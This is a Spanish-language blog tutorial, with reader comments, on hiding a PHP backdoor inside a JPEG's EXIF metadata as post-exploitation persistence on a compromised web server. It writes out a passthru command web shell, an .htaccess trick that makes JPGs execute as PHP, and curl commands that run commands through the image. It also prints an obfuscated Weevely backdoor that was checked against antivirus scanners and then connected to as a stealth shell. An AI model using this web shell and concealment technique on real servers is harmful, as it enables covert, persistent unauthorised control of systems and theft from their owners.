Ocultando el backdoor PHP Weevely en los metadatos de un JPG

En esta entrada veremos como usar los metadatos EXIF de una imagen JPEG para ocultar código PHP, por ejemplo para dejar un backdoor en la imagen de nuestro avatar en un servidor web comprometido.

Existen muchas herramientas para manipular los campos de metadatos. Nosotros usaremos la herramienta jhead y una pequeña imagen JPG para pruebas. Primero observamos los metadatos que ya tiene la imagen:

C:\>jhead skull.jpg
File name : skull.jpg
File size : 13504 bytes
File date : 2012:04:17 00:33:40
Resolution : 100 x 105
Comment : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100
Ahora procedemos a añadir nuestro código:
C:\>jhead -ce skull.jpg


Modified: skull.jpg
A continuación, comprobamos el código insertado:
C:\>jhead skull.jpg
File name : skull.jpg
File size : 13495 bytes
File date : 2012:04:17 00:33:40
Resolution : 100 x 105
Comment : <?php passthru($_POST['cmd']); __halt_compiler();
Usando la función passthru podremos ejecutar un comando en la máquina destino a través de una petición HTTP, preferiblemente POST a GET porque esta última es más fácil de detectar si se visualiza el log de acceso (httpd access). No necesitamos cerrar la sección PHP ya que el comando halt_compiler detendrá el compilador al parsear los datos binarios de la imagen.

Una vez que hemos "ocultado" el código en la imagen, tendremos que forzar que el servidor web maneje un fichero jpg como si fuera un fichero php. Para ello añadiremos la directiva AddType en el fichero .htaccess del directorio de las imágenes. En nuestro ejemplo usaremos un servidor XAMPP de pruebas:

C:\>echo AddType application/x-httpd-php .jpg >> d:\xampplite\htdocs\xampp\imagenes\.htaccess
Ya tenemos todo preparado para empezar a probar. Lo primero que haremos será lanzar un comando con curl:
C:\>curl -d cmd=whoami http://localhost/xampp/imagenes/skull.jpg
Ï Ó ?JFIF ?? ? ? ¦ 3vmotos
Como veis, el comando se ha ejecutado con éxito en el servidor.

Ahora que hemos comprobado que esta técnica funciona vamos a probar con una shell en PHP. En este caso, me llamó la atención Weevely, que es un backdoor muy interesante ya que no incluye directamente el código embebido como otras shells tradicionales (c99, stunshell, etc.). Weevely es un programa en Python que nos generará un "servidor" en PHP para troyanizar el servidor web y que nos permitirá obtener un shell directo (no sólo inverso) a través de peticiones HTTP.

Si quieres utilizarlo en Windows tendrás que realizar algunas modificaciones:
core\helper.py: línea 25                f = f[8:-3].replace('\\','.')
Instalar Beautiful Soup 3.2.1 (February 16, 2012) http://www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.2.1.tar.gz
Una vez que lo tenemos, creamos nuestro backdoor con el siguiente comando:
D:\weevely>d:\Python27\python.exe weevely.py generate password123 backdoor.php

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

+ Backdoor file 'backdoor.php' created with password 'password123'.
Vemos el contenido de nuestra shell:
<?php  $el2="utwaV9zZXQoJ2Vycm9yX2xvZycsICcvZtwGV2L251twbGwnKTskaz0ntwc3twN3b3JktwMTtwIzJztlY2hvICctw8Jy4katwy4n"; $el4="YXkoJycsJysnKSwgam9pbtwitwhhcnJheV9zbGljZSgkYSwtwkYygkYStwktMykpKSkpO2VjaG8gtwJzwtwvJy4katwy4twnPic7fQ=="; $uq = "zbazszez6z4z_dezczode"; $lk = "str_replace"; $el3="Pic7ZXZhbChiYtwXNlNjRfZGVjbtw2RlKtwHByZWtwdfcmVwbGFjZShhcnJheSgntwL1teXtwHc9XHNdLtwycsJy9ccy8nKtwSwgYXtwJy"; $el1="JtwGM9J2NvdW50JzstwkYTtw0ktwX0NPT0tJRTtwtpZihyZXtwNldtwCgtwkYSk9PSdwYStwcgJiYtwgJGMoJGEpPjMptwe2twl"; $uq = $lk("z", "", $uq); eval($uq($lk("tw", "", $el1.$el2.$el3.$el4)));  ?-->
Y lo subimos a un multi-motor de antivirus como NoVirusThanks para comprobar si es FuD.

Ahora tenemos que añadir la shell a los metadatos de la imagen como antes. El resultado de la info exif es el siguiente:
D:\xampplite\htdocs\xampp\imagenes>jhead  skull.jpg
File name : skull.jpg
File size : 14038 bytes
File date : 2012:04:17 00:33:40
Resolution : 100 x 105
Comment : <?php $el2="utwaV9zZXQoJ2Vycm9yX2xvZycsICcvZtwGV2L251twbGwnKTskaz 0ntwc3twN3b3JktwMTtwIzJztlY2hvICctw8Jy4katwy4n"; $el4="YXkoJycsJysnKSwgam9pbtwit whhcnJheV9zbGljZSgkYSwtwkYygkYStwktMykpKSkpO2VjaG8gtwJzwtwvJy4katwy4twnPic7fQ==" ; $uq = "zbazszez6z4z_dezczode"; $lk = "str_replace"; $el3="Pic7ZXZhbChiYtwXNlNj RfZGVjbtw2RlKtwHByZWtwdfcmVwbGFjZShhcnJheSgntwL1teXtwHc9XHNdLtwycsJy9ccy8nKtwSwg YXtwJy"; $el1="JtwGM9J2NvdW50JzstwkYTtw0ktwX0NPT0tJRTtwtpZihyZXtwNldtwCgtwkYSk9P SdwYStwcgJiYtwgJGMoJGEpPjMptwe2twl"; $uq = $lk("z", "", $uq); eval($uq($lk("tw", "", $el1.$el2.$el3.$el4))); __halt_compiler();
Finalmente, para establecer una sesión con el servidor destino, llamamos a la URL utilizando la password definida en la creación de nuestro servidor PHP:
D:\weevely-->d:\Python27\python.exe weevely.py http://localhost/xampp/imagenes/sku
ll.jpg password123

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

[+] Starting terminal. Shell probe may take a while...

[+] List modules with and show help with :show [module name]

Y todo con el código oculto en la inocente imagen de mi avatar ;)

4 comentarios :

  1. Igualmente se necesita que el jpg se pueda ejecutar como PHP (cosa poco probable), cual es la diferencia de meterlo en los metadatos y no el final del archivo?

    ResponderEliminar
  2. hola @exos, normalmente esta técnica es de post-explotación, es decir, dejar una puerta trasera una vez que hemos comprometido el servidor.

    Respecto a insertar el código PHP al final del archivo no lo he probado. Supongo que habrá que identificar un OEP para meter nuestro payload y ver como se comporta el servidor web. Te animo a compartir con nosotros (post) el "how-to" ;)

    ResponderEliminar
  3. Sencillo script para limpiar metadatos en un servidor web comprometido (sencilla contramedida):

    http://orvtech.com/howto/protege-servidor-contra-codigo-maligno-oculto-imagenes-weevely/

    ResponderEliminar
  4. al agregar un comment a una imagen jpg y ejecutarla solo muestra un "?" nada mas que podra ser...

    ResponderEliminar